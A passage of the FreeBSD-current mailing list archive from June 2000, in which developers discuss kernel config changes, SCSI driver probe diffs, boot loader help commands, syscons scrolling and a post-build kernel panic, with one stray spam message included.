<200006151029.MAA09551@oranje.my.domain> (message from Marc van Woerkom on Thu, 15 Jun 2000 12:29:59 +0200 (CEST)) Subject: Re: HEADS UP!: config changes... Reply-To: van.woerkom@netcologne.de References: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> <200006151029.MAA09551@oranje.my.domain> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > 4. I thought I put just the sym driver in the kernel, why do I > see ncr? (see next item) Now it is back to using sym. Possibly some configuration mistake by me. Regards, Marc PS Here is the diff.. -FreeBSD 5.0-CURRENT #15: Thu Jun 15 00:25:51 CEST 2000 +FreeBSD 5.0-CURRENT #16: Thu Jun 15 11:31:41 CEST 2000 marc@oranje.my.domain:/usr/src/sys/compile/ORANJE Timecounter "i8254" frequency 1193182 Hz -Timecounter "TSC" frequency 300684562 Hz +Timecounter "TSC" frequency 300683613 Hz CPU: AMD-K6tm w/ multimedia extensions (300.68-MHz 586-class CPU) Origin = "AuthenticAMD" Id = 0x570 Stepping = 0 Features=0x8001bf AMD Features=0x400<> real memory = 201326592 (196608K bytes) -avail memory = 192716800 (188200K bytes) -Preloaded elf kernel "kernel" at 0xc032c000. -VESA: v3.0, 4096k memory, flags:0x1, mode table:0xc02cd122 (1000022) +avail memory = 192753664 (188236K bytes) +Preloaded elf kernel "kernel" at 0xc0323000. +VESA: v3.0, 4096k memory, flags:0x1, mode table:0xc02c5142 (1000022) VESA: NVidia npx0: on motherboard npx0: INT 16 interface @@ -55,7 +26,8 @@ atapci1: port 0x6500-0x65ff,0x6400-0x6403,0x6300-0x6307 irq 15 at device 11.0 on pci0 ata2: at 0x6300 on atapci1 atapci2: port 0x6800-0x68ff,0x6700-0x6703,0x6600-0x6607 irq 15 at device 11.1 on pci0 -ncr0: port 0x6900-0x69ff mem 0xe2000000-0xe2000fff,0xe2002000-0xe20020ff irq 11 at device 13.0 on pci0 +sym0: <875> port 0x6900-0x69ff mem 0xe2000000-0xe2000fff,0xe2002000-0xe20020ff irq 11 at device 13.0 on pci0 +sym0: Tekram NVRAM, ID 7, Fast-20, SE, parity checking pcm0: port 0x6a00-0x6a3f irq 10 at device 15.0 on pci0 pci0: at 17.0 irq 9 atkbdc0: at port 0x60,0x64 on isa0 @@ -101,22 +73,23 @@ ad0: 26059MB [52946/16/63] at ata2-master using UDMA66 Waiting 8 seconds for SCSI devices to settle Mounting root from ufs:/dev/da0s2a -da0 at ncr0 bus 0 target 0 lun 0 +da0 at sym0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 20.000MB/s transfers (20.000MHz, offset 15), Tagged Queueing Enabled da0: 2068MB (4235629 512 byte sectors: 255H 63S/T 263C) -cd0 at ncr0 bus 0 target 4 lun 0 +cd0 at sym0 bus 0 target 4 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 20.000MB/s transfers (20.000MHz, offset 8) cd0: Attempt to query device size failed: NOT READY, Medium not present -da1 at ncr0 bus 0 target 1 lun 0 +da1 at sym0 bus 0 target 1 lun 0 da1: Fixed Direct Access SCSI-2 device da1: 40.000MB/s transfers (20.000MHz, offset 15, 16bit) da1: 4134MB (8467200 512 byte sectors: 255H 63S/T 527C) -da2 at ncr0 bus 0 target 2 lun 0 +da2 at sym0 bus 0 target 2 lun 0 da2: Fixed Direct Access SCSI-2 device da2: 20.000MB/s transfers (20.000MHz, offset 15), Tagged Queueing Enabled da2: 2063MB (4226725 512 byte sectors: 255H 63S/T 263C) da1s2: raw partition size != slice size da1s2: start 2120580, end 2536379, size 415800 da1s2c: start 2120580, end 8465687, size 6345108 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 7:28:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id 975EE37B73B for ; Thu, 15 Jun 2000 07:28:27 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-195-14-251-7.netcologne.de [195.14.251.7]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id QAA11698; Thu, 15 Jun 2000 16:27:50 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id QAA00936; Thu, 15 Jun 2000 16:26:58 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Thu, 15 Jun 2000 16:26:58 +0200 (CEST) Message-Id: <200006151426.QAA00936@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom To: Alexander@Leidinger.net Cc: alex@big.endian.de, current@FreeBSD.ORG In-reply-to: <200006151338.PAA00491@Magelan.Leidinger.net> (message from Alexander Leidinger on Thu, 15 Jun 2000 15:38:49 +0200 (CEST)) Subject: Re: syscons scrolling broken Reply-To: van.woerkom@netcologne.de References: <200006151338.PAA00491@Magelan.Leidinger.net> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > it does not. It seems, as if screen output is still being deactivated, > > but scrolling does just not work. > > > > Anyone else? > > Yes, but it only applies to ttyv0. Same behaviour here. Regards, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 7:32:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 93E3E37BC8B for ; Thu, 15 Jun 2000 07:32:15 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id HAA01813; Thu, 15 Jun 2000 07:36:31 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200006151436.HAA01813@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Alexander Leidinger Cc: van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... In-reply-to: Your message of "Thu, 15 Jun 2000 15:16:57 +0200." <200006151316.PAA01674@Magelan.Leidinger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 15 Jun 2000 07:36:31 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On 15 Jun, Marc van Woerkom wrote: > > > 3. in the boot loader I miss the list of commands, > > ? (i hope this was the command) just yields a number > > I also see this. The use of ? was a bad idea, since it's special to Forth. Use 'help' instead. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 7:38:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.surf1.de (mail.surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id E73DB37B6EC for ; Thu, 15 Jun 2000 07:38:31 -0700 (PDT) (envelope-from alex@big.endian.de) Received: from neutron.cichlids.com (p3E9C1136.dip0.t-ipconnect.de [62.156.17.54]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id QAA06656; Thu, 15 Jun 2000 16:38:06 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by neutron.cichlids.com (Postfix) with ESMTP id A8F22AC27; Thu, 15 Jun 2000 16:38:32 +0200 (CEST) Received: by cichlids.cichlids.com (Postfix, from userid 1001) id 896BD14AAD; Thu, 15 Jun 2000 16:38:13 +0200 (CEST) Date: Thu, 15 Jun 2000 16:38:13 +0200 From: Alexander Langer To: Marc van Woerkom Cc: Alexander@Leidinger.net, current@FreeBSD.ORG Subject: Re: syscons scrolling broken Message-ID: <20000615163813.A20624@cichlids.cichlids.com> Mail-Followup-To: Marc van Woerkom , Alexander@Leidinger.net, current@FreeBSD.ORG References: <200006151338.PAA00491@Magelan.Leidinger.net> <200006151426.QAA00936@oranje.my.domain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200006151426.QAA00936@oranje.my.domain>; from van.woerkom@netcologne.de on Thu, Jun 15, 2000 at 04:26:58PM +0200 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-PGP-at: finger alex@big.endian.de X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Also sprach Marc van Woerkom (van.woerkom@netcologne.de): > > > Anyone else? > > Yes, but it only applies to ttyv0. > Same behaviour here. Jup, here too. Unfortunately, that's the only one where I want it :) Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 8: 8:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 5C16B37B542; Thu, 15 Jun 2000 08:08:20 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id IAA01767; Thu, 15 Jun 2000 08:08:18 -0700 Date: Thu, 15 Jun 2000 08:08:18 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Mike Smith Cc: Alexander Leidinger , van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... In-Reply-To: <200006151436.HAA01813@mass.osd.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Uh, 'help' doesn't give you a list of commands I believe. On Thu, 15 Jun 2000, Mike Smith wrote: > > On 15 Jun, Marc van Woerkom wrote: > > > > > 3. in the boot loader I miss the list of commands, > > > ? (i hope this was the command) just yields a number > > > > I also see this. > > The use of ? was a bad idea, since it's special to Forth. Use 'help' > instead. > > -- > \\ Give a man a fish, and you feed him for a day. \\ Mike Smith > \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org > \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 8:29:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id D9B2637BBA9 for ; Thu, 15 Jun 2000 08:29:36 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id IAA01972; Thu, 15 Jun 2000 08:34:04 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200006151534.IAA01972@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: mjacob@feral.com Cc: current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... In-reply-to: Your message of "Thu, 15 Jun 2000 08:08:18 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 15 Jun 2000 08:34:04 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Uh, 'help' doesn't give you a list of commands I believe. Damn, it doesn't either. 'help' is the same as 'help help'. Suggestions for a better replacement for ? 'commands'? -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 9:49:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id 2E45237BBAB; Thu, 15 Jun 2000 09:49:36 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-194-8-195-217.netcologne.de [194.8.195.217]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id SAA01236; Thu, 15 Jun 2000 18:49:32 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id SAA00643; Thu, 15 Jun 2000 18:48:40 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Thu, 15 Jun 2000 18:48:40 +0200 (CEST) Message-Id: <200006151648.SAA00643@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom To: mjacob@feral.com Cc: msmith@FreeBSD.ORG, Alexander@Leidinger.net, van.woerkom@netcologne.de, current@FreeBSD.ORG In-reply-to: (message from Matthew Jacob on Thu, 15 Jun 2000 08:08:18 -0700 (PDT)) Subject: Re: HEADS UP!: config changes... Reply-To: van.woerkom@netcologne.de References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Uh, 'help' doesn't give you a list of commands I believe. According to loader(8) it means: ? Same as ``help index''. I did not try yet if that one works correctly. Regards, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 9:55:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id 0894337C0D1 for ; Thu, 15 Jun 2000 09:55:16 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.1.105]) by gw.nectar.com (Postfix) with ESMTP id A8BD89B2D; Thu, 15 Jun 2000 11:55:14 -0500 (CDT) Received: by bone.nectar.com (Postfix, from userid 1001) id 84BF21DC6; Thu, 15 Jun 2000 11:55:13 -0500 (CDT) Date: Thu, 15 Jun 2000 11:55:13 -0500 From: "Jacques A . Vidrine" To: "Brandon D. Valentine" Cc: FreeBSD-CURRENT Subject: Re: xmms broken by either libc_r or sound Message-ID: <20000615115513.A72451@bone.nectar.com> Mail-Followup-To: "Jacques A . Vidrine" , "Brandon D. Valentine" , FreeBSD-CURRENT References: <20000614232621.B12512@dan.emsphone.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from bandix@looksharp.net on Thu, Jun 15, 2000 at 10:10:49AM -0400 X-Url: http://www.nectar.com/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Jun 15, 2000 at 10:10:49AM -0400, Brandon D. Valentine wrote: > I honestly don't think his question was from a committers standpoint. I > think he wanted to know how to back them out locally for his own system. > To do that he needs to read the handbook entries for staying current > with FreeBSD, specifically the stuff on anoncvs. Then to back them out > he needs to use cvs to retrieve an older revision of the affected files > via anoncvs and make a new world. Or use cvsweb, which is probably easier for the casual user. http://www.freebsd.org/cgi/cvsweb.cgi/path/to/affected/file or just start at http://www.freebsd.org/cgi/cvsweb.cgi and navigate your way down. Good luck, -- Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 9:58:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 2FCD137BC8B for ; Thu, 15 Jun 2000 09:58:43 -0700 (PDT) (envelope-from bandix@looksharp.net) Received: from localhost (bandix@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id MAA65645; Thu, 15 Jun 2000 12:59:31 -0400 (EDT) (envelope-from bandix@looksharp.net) Date: Thu, 15 Jun 2000 12:59:31 -0400 (EDT) From: "Brandon D. Valentine" To: "Jacques A . Vidrine" Cc: FreeBSD-CURRENT Subject: Re: xmms broken by either libc_r or sound In-Reply-To: <20000615115513.A72451@bone.nectar.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 15 Jun 2000, Jacques A . Vidrine wrote: >Or use cvsweb, which is probably easier for the casual user. Definitely easier for the casual user who's tracking -STABLE. However, I feel that to succeed tracking -CURRENT it pays to invest a minimal amount of time learning at least the basics of cvs. =) Brandon D. Valentine -- "You should believe in death, taxes, Larry Ellison's loathing of Bill Gates and Intel's inability to ship a working chipset." - Dr Spinola, The Register, 05/13/2000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 10:44:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from d135.p6.col.ru (d135.p6.col.ru [212.248.5.135]) by hub.freebsd.org (Postfix) with SMTP id 4836437C38D; Thu, 15 Jun 2000 10:44:28 -0700 (PDT) (envelope-from prettylady@freemail.ru) From: To: Date: ×ò, 15 èþí 2000 20:43:24 +0400 Message-ID: <12451673530182212@d135.p6.col.ru> Subject: Hi, its for you ! Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! We are Russian girls - Natali, Alla, Vika. We would like to correspond with you. Visit our site and see our photos. http://www.russiangirls.narod.ru/ With interest, Natali,Alla, Vika. P.S. (This is not spam. You can unsubscribe at any time by sending an email to prettylady@freemail.ru with the subject UNSUBSCRIBE.) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 10:51:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 0465A37C3A3; Thu, 15 Jun 2000 10:51:52 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id KAA02232; Thu, 15 Jun 2000 10:51:49 -0700 Date: Thu, 15 Jun 2000 10:51:49 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Mike Smith Cc: current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... In-Reply-To: <200006151534.IAA01972@mass.osd.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Uh, 'help' doesn't give you a list of commands I believe. > > Damn, it doesn't either. 'help' is the same as 'help help'. > > Suggestions for a better replacement for ? 'commands'? Just change unadorned help to say 'help help' to get a list. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 10:53: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id 3D09B37C406 for ; Thu, 15 Jun 2000 10:53:01 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 30151 invoked from network); 15 Jun 2000 17:52:45 -0000 Received: from lc210.cvzoom.net (208.226.154.210) by ns.cvzoom.net with SMTP; 15 Jun 2000 17:52:45 -0000 Date: Thu, 15 Jun 2000 13:52:45 -0400 (EDT) From: Donn Miller To: current@freebsd.org Subject: fatal trap 12 after lastest kernel build Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just built my kernel from kernel sources as of Thu Jun 15 13:49:59 EDT 2000, and immediately after the kernel is loaded, I get a "fatal trap 12: page fault while in supervisor mode". The uptime was 0s, so apparently, the boot loader must not like the kernel. But, I can boot a kernel from Jun 14 10:25 with the same boot loader. I did a make depend all install in /usr/src/sys/boot with the new sources, but still the same problem. Anyone else see this? - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 11: 8:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from majordomo2.umd.edu (majordomo2.umd.edu [128.8.10.7]) by hub.freebsd.org (Postfix) with ESMTP id EEB7837BCBC for ; Thu, 15 Jun 2000 11:08:08 -0700 (PDT) (envelope-from culverk@wam.umd.edu) Received: from rac7.wam.umd.edu (root@rac7.wam.umd.edu [128.8.10.147]) by majordomo2.umd.edu (8.9.3/8.9.3) with ESMTP id OAA11052; Thu, 15 Jun 2000 14:07:56 -0400 (EDT) Received: from rac7.wam.umd.edu (sendmail@localhost [127.0.0.1]) by rac7.wam.umd.edu (8.9.3/8.9.3) with SMTP id OAA08516; Thu, 15 Jun 2000 14:07:58 -0400 (EDT) Received: from localhost (culverk@localhost) by rac7.wam.umd.edu (8.9.3/8.9.3) with ESMTP id OAA08509; Thu, 15 Jun 2000 14:07:57 -0400 (EDT) X-Authentication-Warning: rac7.wam.umd.edu: culverk owned process doing -bs Date: Thu, 15 Jun 2000 14:07:57 -0400 (EDT) From: Kenneth Wayne Culver To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: fatal trap 12 after lastest kernel build In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG did you follow Peter Wemm's instructions on the new config changes? ================================================================= | Kenneth Culver | FreeBSD: The best NT upgrade | | Unix Systems Administrator | ICQ #: 24767726 | | and student at The | AIM: muythaibxr | | The University of Maryland, | Website: (Under Construction) | | College Park. | http://www.wam.umd.edu/~culverk/| ================================================================= On Thu, 15 Jun 2000, Donn Miller wrote: > I just built my kernel from kernel sources as of Thu Jun 15 13:49:59 EDT > 2000, and immediately after the kernel is loaded, I get a "fatal trap > 12: page fault while in supervisor mode". The uptime was 0s, so > apparently, the boot loader must not like the kernel. But, I can boot a > kernel from Jun 14 10:25 with the same boot loader. I did a make depend > all install in /usr/src/sys/boot with the new sources, but still the same > problem. > > Anyone else see this? > > - Donn > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 11:17:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id 759CE37BE0C for ; Thu, 15 Jun 2000 11:17:09 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 9029 invoked from network); 15 Jun 2000 18:17:05 -0000 Received: from lc210.cvzoom.net (HELO cvzoom.net) (208.226.154.210) by ns.cvzoom.net with SMTP; 15 Jun 2000 18:17:05 -0000 Message-ID: <39491DA1.69FF69E7@cvzoom.net> Date: Thu, 15 Jun 2000 14:17:05 -0400 From: Donn Miller X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Kenneth Wayne Culver Cc: current@FreeBSD.ORG Subject: Re: fatal trap 12 after lastest kernel build References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Kenneth Wayne Culver wrote: > > did you follow Peter Wemm's instructions on the new config changes? Actually, I did. In fact, I built 2 or 3 kernels after the changes went into effect with no problems. It's just the sources that I cvsup'd as of an hour ago that's causing the problems. > On Thu, 15 Jun 2000, Donn Miller wrote: > > > I just built my kernel from kernel sources as of Thu Jun 15 13:49:59 EDT > > 2000, and immediately after the kernel is loaded, I get a "fatal trap > > 12: page fault while in supervisor mode". The uptime was 0s, so > > apparently, the boot loader must not like the kernel. But, I can boot a > > kernel from Jun 14 10:25 with the same boot loader. I did a make depend > > all install in /usr/src/sys/boot with the new sources, but still the same > > problem. > > > > Anyone else see this? > > > > - Donn > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-current" in the body of the message > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message -- - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 11:19:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from po4.wam.umd.edu (po4.wam.umd.edu [128.8.10.166]) by hub.freebsd.org (Postfix) with ESMTP id DA5E837C4AE for ; Thu, 15 Jun 2000 11:19:04 -0700 (PDT) (envelope-from culverk@wam.umd.edu) Received: from rac7.wam.umd.edu (root@rac7.wam.umd.edu [128.8.10.147]) by po4.wam.umd.edu (8.9.3/8.9.3) with ESMTP id OAA19049; Thu, 15 Jun 2000 14:19:01 -0400 (EDT) Received: from rac7.wam.umd.edu (sendmail@localhost [127.0.0.1]) by rac7.wam.umd.edu (8.9.3/8.9.3) with SMTP id OAA09894; Thu, 15 Jun 2000 14:18:59 -0400 (EDT) Received: from localhost (culverk@localhost) by rac7.wam.umd.edu (8.9.3/8.9.3) with ESMTP id OAA09890; Thu, 15 Jun 2000 14:18:59 -0400 (EDT) X-Authentication-Warning: rac7.wam.umd.edu: culverk owned process doing -bs Date: Thu, 15 Jun 2000 14:18:58 -0400 (EDT) From: Kenneth Wayne Culver To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: fatal trap 12 after lastest kernel build In-Reply-To: <39491DA1.69FF69E7@cvzoom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Oh ok..... well then I have no idea... :-) I thought that could be the problem... ================================================================= | Kenneth Culver | FreeBSD: The best NT upgrade | | Unix Systems Administrator | ICQ #: 24767726 | | and student at The | AIM: muythaibxr | | The University of Maryland, | Website: (Under Construction) | | College Park. | http://www.wam.umd.edu/~culverk/| ================================================================= On Thu, 15 Jun 2000, Donn Miller wrote: > Kenneth Wayne Culver wrote: > > > > did you follow Peter Wemm's instructions on the new config changes? > > Actually, I did. In fact, I built 2 or 3 kernels after the changes > went into effect with no problems. It's just the sources that I > cvsup'd as of an hour ago that's causing the problems. > > > > On Thu, 15 Jun 2000, Donn Miller wrote: > > > > > I just built my kernel from kernel sources as of Thu Jun 15 13:49:59 EDT > > > 2000, and immediately after the kernel is loaded, I get a "fatal trap > > > 12: page fault while in supervisor mode". The uptime was 0s, so > > > apparently, the boot loader must not like the kernel. But, I can boot a > > > kernel from Jun 14 10:25 with the same boot loader. I did a make depend > > > all install in /usr/src/sys/boot with the new sources, but still the same > > > problem. > > > > > > Anyone else see this? > > > > > > - Donn > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-current" in the body of the message > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-current" in the body of the message > > -- > - Donn > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 13:35: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 0F96337B763 for ; Thu, 15 Jun 2000 13:34:58 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id WAA23783 for ; Thu, 15 Jun 2000 22:34:53 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: current@freebsd.org Subject: WARNING "/dev/wd" compat hack removed... Date: Thu, 15 Jun 2000 22:34:53 +0200 Message-ID: <23781.961101293@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ------- Forwarded Message Message-Id: <200006152030.NAA51628@freefall.freebsd.org> From: Poul-Henning Kamp Date: Thu, 15 Jun 2000 13:30:53 -0700 (PDT) To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: cvs commit: src/sys/dev/ata ata-disk.c src/sys/i386/i386 autoconf.c src/sys/kern subr_disk.c src/sys/sys disk.h phk 2000/06/15 13:30:53 PDT Modified files: sys/dev/ata ata-disk.c sys/i386/i386 autoconf.c sys/kern subr_disk.c sys/sys disk.h Log: Add disk_enumerate() for finding names of disks. Vinum and libh will need this RSN. Remove a pointless warning in the root device locating code. Remove the "wd" compatibility name from the "ad" driver. WARNING: If you have not updated to use /dev/wd* in your /etc/fstab and modern bootblocks, it would be a very good idea to do so BEFORE you upgrade your kernel. Revision Changes Path 1.72 +1 -25 src/sys/dev/ata/ata-disk.c 1.147 +2 -4 src/sys/i386/i386/autoconf.c 1.25 +16 